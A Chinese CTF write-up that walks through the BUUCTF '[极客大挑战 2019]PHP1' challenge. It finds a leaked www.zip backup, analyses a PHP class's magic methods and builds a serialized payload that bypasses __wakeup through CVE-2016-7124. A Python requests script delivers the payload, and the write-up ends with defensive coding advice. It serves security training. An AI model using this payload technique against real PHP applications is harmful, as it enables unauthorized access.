当前位置: 首页 > news >正文

手把手教你复现BUUCTF那道经典的PHP反序列化题(绕过__wakeup拿flag)

从零攻破BUUCTF PHP反序列化漏洞:绕过__wakeup的实战艺术

当你在CTF赛场上第一次遇到PHP反序列化题目时,那种既熟悉又陌生的感觉往往让人手足无措。今天,我们就以BUUCTF平台上的经典题目"[极客大挑战 2019]PHP1"为例,带你体验一次完整的漏洞利用之旅。这不仅仅是一次解题过程,更是一次思维模式的训练——如何从黑盒测试到白盒分析,最终构造出完美的攻击payload。

1. 环境搭建与初步侦查

任何CTF挑战的第一步都是搭建实验环境。访问题目提供的Web界面,页面看似简单,但经验告诉我们,魔鬼往往藏在细节里。按下Ctrl+U查看源码是基本操作,不过这次似乎没有明显线索。

常见Web备份文件命名规律

  • www.zip
  • backup.tar.gz
  • source.rar
  • website.bak

尝试访问/www.zip,果然下载到一个压缩包。解压后发现三个关键文件:

/www ├── flag.php # 假flag诱饵 ├── index.php # 主入口文件 └── class.php # 核心业务逻辑

用代码编辑器打开index.php,关键代码片段如下:

<?php include 'class.php'; $select = $_GET['select']; $res = unserialize($select); ?>

这段代码暴露出明显的反序列化入口点——通过GET参数select接收序列化数据。这正是我们要重点攻击的突破口。

2. 核心漏洞代码分析

class.php中定义了名为Name的类,包含两个关键魔术方法:

class Name { private $username = 'nonono'; private $password = 'yesyes'; function __wakeup() { $this->username = 'guest'; // 反序列化时自动执行 } function __destruct() { if ($this->password != 100) { die("密码验证失败!"); } if ($this->username === 'admin') { global $flag; echo $flag; // 目标输出点 } } }

漏洞利用条件分析

  1. 需要控制$username为'admin'
  2. 需要设置$password为100
  3. 必须绕过__wakeup()的自动重置

3. 魔术方法的执行时机深度解析

理解PHP对象生命周期是成功的关键。以下是三个关键魔术方法的触发场景:

魔术方法触发时机序列化相关特性
__constructnew操作时触发反序列化时不会执行
__wakeupunserialize()后立即执行可被CVE-2016-7124绕过
__destruct对象销毁时(脚本结束或unset)执行通常作为漏洞触发点

特别需要注意的是__wakeup的绕过条件:

  • PHP版本需满足:PHP5 < 5.6.25 或 PHP7 < 7.0.10
  • 修改序列化字符串中对象属性数量,使其大于实际数量

4. 构造攻击Payload的完整过程

4.1 基础序列化尝试

首先创建测试脚本exploit.php

<?php class Name { private $username = 'admin'; private $password = '100'; } echo serialize(new Name()); ?>

输出结果:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

4.2 处理私有变量编码问题

Private变量在序列化时会包含类名前后的空字符(%00),需要特殊处理:

原始格式:

s:14:"Nameusername" → 实际应为 s:14:"%00Name%00username"

修正后的序列化字符串:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

4.3 绕过__wakeup的终极Payload

应用CVE-2016-7124漏洞,将属性数量改为大于实际值(如3):

最终Payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

URL编码后(注意%00需要双重编码):

?select=O:4:"Name":3:{s:14:"%2500Name%2500username";s:5:"admin";s:14:"%2500Name%2500password";s:3:"100";}

5. 实战中的常见问题排查

即使按照步骤操作,仍可能遇到各种意外情况。以下是几个典型问题及解决方案:

问题1:Payload执行后仍显示guest

  • 检查PHP版本是否符合漏洞条件
  • 确认属性数量修改正确(原为2,改为3或更大)

问题2:报错"unserialize(): Error at offset"

  • 检查私有变量名的长度计算是否正确
  • 确保%00被正确处理(在Burp Suite中可直接输入空字节)

问题3:返回空白页面

  • 检查__destruct中的条件判断
  • 确认password值确实为100(整数而非字符串)

在真实CTF比赛中,我建议使用Python的requests库进行自动化测试:

import requests payload = "O:4:\"Name\":3:{s:14:\"\x00Name\x00username\";s:5:\"admin\";s:14:\"\x00Name\x00password\";s:3:\"100\";}" response = requests.get("http://target.com/index.php?select=" + payload) print(response.text)

6. 防御方案与安全启示

虽然我们已经成功利用了这个漏洞,但作为负责任的安全研究者,更应该思考如何防御:

安全开发建议

  1. 避免直接反序列化用户输入
  2. 使用json_encode/json_decode替代序列化
  3. 及时更新PHP版本(修复CVE-2016-7124)
  4. 对魔术方法中的安全逻辑进行二次验证

输入验证示例

if (preg_match('/^[a-zA-Z0-9]+$/', $_GET['select'])) { $data = json_decode(base64_decode($_GET['select']), true); // 处理数据... } else { die('非法输入!'); }

通过这道题目,我们不仅学习了一个具体的漏洞利用技术,更重要的是建立了分析PHP反序列化问题的系统思维。下次当你看到unserialize()函数时,脑海中应该立即浮现出魔术方法的执行流程、属性修饰符的影响以及版本相关的漏洞特性——这才是CTF训练带给我们的真正价值。

http://www.zskr.cn/news/1478557.html

相关文章:

  • 时间序列异常归因:从检测到根因诊断的工程化实践
  • Claude Managed Agents:解耦会话状态的AI运行时操作系统
  • JDspyder:突破秒杀瓶颈的智能抢购自动化工具,大幅提升抢购效率
  • 别再死记硬背公式了!用PyTorch Conv1D/2D/3D实战代码理解尺寸计算(附避坑指南)
  • Anthropic新推理层:动态KV切片与流式解压实现毫秒级LLM响应
  • 思源宋体TTF完全解析:专业中文排版的7大实战应用
  • 西宁市2026年最新黄金+白银+铂金+K金回收门店及联系方式电话推荐 黄金回收店铺TOP5排行榜 - 盛世金银回收
  • 终极指南:如何永久重置JetBrains IDE试用期,让30天免费体验无限循环
  • 手把手教你搞定OCC电路:从PLL时钟到ATE时钟的无毛刺切换实战
  • 给5G新手的SIB1消息拆解:从BWP到随机接入,一份看得懂的参数指南
  • Rapid SCADA V6新特性实战:如何用InfluxDB+TimescaleDB打造秒级工业数据监控与告警平台
  • 689款开源macOS应用完全指南:免费工具宝库与实用安装教程
  • 【紧急预警】2024下半年起,CSDN AI数字营销将对房地产、教培等3个行业实施动态策略限频——附行业迁移替代方案速查表
  • 服务器迁移后,NetBackup 8.1.2客户端报错‘cannot connect on socket (25)’?手把手教你排查与修复
  • 朔州市黄金回收店铺TOP5排行榜 2026年最新黄金+白银+铂金+K金回收门店及联系方式电话推荐 - 大熊猫898989
  • SAP BW/4HANA增量数据抽取避坑指南:ODP_SAP中DTP初始化与ODQ队列的实战配置
  • 3秒解锁百度网盘资源:智能提取码工具如何改变你的下载体验
  • 别再折腾了!Windows 10/11 下 Nacos 2.0.3 单机版一键启动保姆级配置指南
  • 四平市黄金回收店铺TOP5排行榜 2026年最新黄金+白银+铂金+K金回收门店及联系方式电话推荐 - 大熊猫898989
  • Tableau超市数据实战:从客户分析到销售预测,手把手教你搭建完整商业仪表盘
  • Hermes+Obsidian+LLM Wiki 3个工具搭建AI知识库,附详细操作步骤
  • 用Python写的古诗词桌面查看器,带分类树和详情弹窗(附完整源码和诗库)
  • BigQuery对话式分析实战:语义层+LangChain+Vertex AI架构
  • 嵌入式可用的C语言SSDP服务端+客户端源码包,纯socket实现,无需第三方库
  • 从‘New’到‘Closed’:手把手教你用Bugzilla设计一套清晰的缺陷处理SOP(附流程图模板)
  • 从‘水下修复’到‘医疗影像’:深入聊聊CLAHE算法的两种直方图分布(Uniform vs. Rayleigh)该怎么选
  • INT8量化轻量级行为监测系统在神经科学研究中的应用
  • 孝感市2026年最新黄金+白银+铂金+K金回收门店及联系方式电话推荐 黄金回收店铺TOP5排行榜 - 盛世金银回收
  • 从Overleaf模板到自定义:一步步教你设计LaTeX多子图报告封面页
  • 无锡市黄金回收店铺TOP5排行榜 2026年最新黄金+白银+铂金+K金回收门店及联系方式电话推荐 - 大熊猫898989